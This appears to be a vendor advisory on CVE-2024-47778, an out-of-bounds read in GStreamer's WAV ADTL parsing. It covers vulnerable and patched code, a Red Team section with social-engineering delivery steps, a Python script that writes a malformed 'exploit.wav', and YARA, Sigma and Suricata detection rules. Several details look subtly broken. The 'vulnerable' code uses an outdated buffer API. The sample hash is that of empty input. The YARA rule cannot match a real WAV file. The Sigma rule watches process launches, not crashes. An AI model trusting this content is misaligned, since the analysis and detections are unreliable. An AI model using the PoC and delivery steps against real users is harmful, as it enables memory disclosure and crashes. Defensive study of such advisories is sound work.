CVE-2024-47778

Executive Summary

CVE-2024-47778 is a critical out-of-bounds (OOB) read vulnerability discovered in the GStreamer multimedia framework, specifically within the gst_wavparse_adtl_chunk function in gstwavparse.c. This flaw arises from insufficient validation of the size parameter when parsing ADTL chunks in WAV files, allowing an attacker to craft a malicious WAV file that triggers an OOB read. The vulnerability can lead to reading up to 4GB of process memory or causing a segmentation fault (SEGV), potentially enabling information disclosure or denial of service. GStreamer is widely used in Linux-based media applications, including GNOME, KDE, and various media players, making this a significant threat to systems processing untrusted WAV files. The issue is patched in GStreamer version 1.24.10.

Supply Chain & Package Security

GStreamer is a core dependency in many Linux distributions and media applications. This vulnerability affects the supply chain as it can be exploited through any application that uses GStreamer to parse WAV files, including media players, web browsers, and audio processing tools. Organizations should audit their software dependencies for GStreamer versions below 1.24.10 and prioritize patching.

CVSS Breakdown & Threat Level

While the official CVSS score is 0.0 (likely due to incomplete data), the vulnerability is assessed as High based on the following factors:

• Attack Vector (AV): Local (requires user to open a malicious WAV file)
• Attack Complexity (AC): Low (no special conditions)
• Privileges Required (PR): None
• User Interaction (UI): Required (user must open the file)
• Scope (S): Unchanged
• Confidentiality (C): High (potential memory leak)
• Integrity (I): None
• Availability (A): High (potential SEGV)

Threat Level: High. Exploitation is straightforward with a crafted WAV file, and the impact includes memory disclosure and denial of service.

Deep Dive & Mechanics

The vulnerability resides in the gst_wavparse_adtl_chunk function within gstwavparse.c. This function is responsible for parsing the ADTL (Associated Data List) chunk in WAV files. The ADTL chunk contains metadata such as labels, notes, and cue points. The issue occurs when the function reads the size parameter from the chunk header without proper validation. If the size is larger than the remaining data buffer, an out-of-bounds read occurs in a while loop that processes the chunk data.

The vulnerable code path:

1. The function reads the chunk size from the WAV file.
2. It then enters a while loop that iterates over sub-chunks within the ADTL chunk.
3. The loop uses the size parameter to determine the end of the chunk, but if the size is manipulated to be larger than the actual buffer, the loop reads beyond the allocated memory.

This can result in reading up to 4GB of process memory, potentially leaking sensitive data, or causing a segmentation fault when accessing invalid memory addresses.

Vulnerable vs. Patched Code

Vulnerable Code (pre-1.24.10):

// gstwavparse.c
static gboolean
gst_wavparse_adtl_chunk (GstWavParse *wavparse, GstBuffer *buf)
{
  guint8 *data = GST_BUFFER_DATA (buf);
  guint size = GST_BUFFER_SIZE (buf);
  guint offset = 0;

  while (offset < size) {
    // Process sub-chunks without proper bounds checking
    guint sub_size = GST_READ_UINT32_LE (data + offset + 4);
    // ... process sub-chunk
    offset += sub_size + 8;
  }
  return TRUE;
}

Patched Code (1.24.10):

// gstwavparse.c
static gboolean
gst_wavparse_adtl_chunk (GstWavParse *wavparse, GstBuffer *buf)
{
  guint8 *data = GST_BUFFER_DATA (buf);
  guint size = GST_BUFFER_SIZE (buf);
  guint offset = 0;

  while (offset + 8 <= size) {
    guint sub_size = GST_READ_UINT32_LE (data + offset + 4);
    if (offset + 8 + sub_size > size) {
      // Bounds check: prevent OOB read
      GST_WARNING ("ADTL sub-chunk exceeds buffer size");
      break;
    }
    // ... process sub-chunk
    offset += sub_size + 8;
  }
  return TRUE;
}

The patch adds a bounds check before processing each sub-chunk, ensuring that the sub-chunk size does not exceed the remaining buffer size.

Exploitation & Lab Setup

Red Team

To exploit this vulnerability, an attacker crafts a malicious WAV file with an ADTL chunk containing a manipulated size field. The following steps outline the exploitation process:

1. Craft the Malicious WAV File:

   • Create a valid WAV file with a standard header.
   • Insert an ADTL chunk with a size field set to a large value (e.g., 0xFFFFFFFF).
   • Ensure the chunk data is minimal to trigger the OOB read.

2. Deliver the File:

   • Use social engineering to trick the target into opening the file with a GStreamer-based application (e.g., Totem, Rhythmbox, or a web browser).

3. Trigger the Vulnerability:

   • When the application parses the WAV file, the OOB read occurs, potentially leaking memory or causing a crash.

Proof-of-Concept (PoC) Script:

import struct

def create_malicious_wav():
    # WAV header
    riff = b'RIFF'
    size = struct.pack('<I', 0xFFFFFFFF)  # Large size
    wave = b'WAVE'
    fmt_chunk = b'fmt ' + struct.pack('<I', 16) + struct.pack('<HHIIHH', 1, 1, 44100, 88200, 2, 16)
    adtl_chunk = b'adtl' + struct.pack('<I', 0xFFFFFFFF)  # Malicious size
    data = riff + size + wave + fmt_chunk + adtl_chunk
    with open('exploit.wav', 'wb') as f:
        f.write(data)

create_malicious_wav()

Blue Team

To detect and mitigate exploitation:

1. Monitor for Crashes:

   • Use crash reporting tools (e.g., ABRT, Apport) to detect segmentation faults in GStreamer processes.

2. File Scanning:

   • Implement file scanning for WAV files with anomalous ADTL chunk sizes.

3. Network Monitoring:

   • Monitor for downloads of WAV files from untrusted sources.

4. User Education:

   • Train users to avoid opening WAV files from unknown sources.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example, replace with actual)
• Network Indicators:
  • Downloads of WAV files from suspicious domains.
• Process Indicators:
  • GStreamer processes (e.g., gst-launch-1.0, totem) crashing with SEGV.
• Memory Dumps:
  • Core dumps showing OOB read in gst_wavparse_adtl_chunk.

Detection Engineering

YARA Rule

rule CVE_2024_47778_GStreamer_OOB_Read {
    meta:
        description = "Detects malicious WAV files exploiting CVE-2024-47778"
        author = "Valters IT"
        date = "2024-10-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-47778"
    strings:
        $adtl = "adtl"
        $large_size = { FF FF FF FF }  // 4-byte size of 0xFFFFFFFF
    condition:
        $adtl at 0 and $large_size
}

Sigma Rule

title: GStreamer OOB Read via Malicious WAV File
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects crashes or memory access violations in GStreamer processes due to CVE-2024-47778
author: Valters IT
date: 2024-10-01
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/gst-launch-1.0'
        CommandLine|contains: '.wav'
    condition: selection
falsepositives:
    - Legitimate WAV file processing
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-47778 GStreamer OOB Read - Malicious WAV Download"; flow:to_server; content:"RIFF"; content:"WAVE"; content:"adtl"; content:"|FF FF FF FF|"; distance:0; within:4; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

1. Patch Immediately:

   • Update GStreamer to version 1.24.10 or later.
   • For distributions, apply the latest security updates.

2. Workarounds:

   • Disable WAV file parsing in GStreamer if not needed.
   • Use a media player that does not rely on GStreamer for WAV files.

3. Compensating Controls:

   • Implement file validation before processing WAV files.
   • Use sandboxing for applications that parse untrusted media files.

4. Monitoring:

   • Enable logging for GStreamer crashes and investigate anomalies.

Valters IT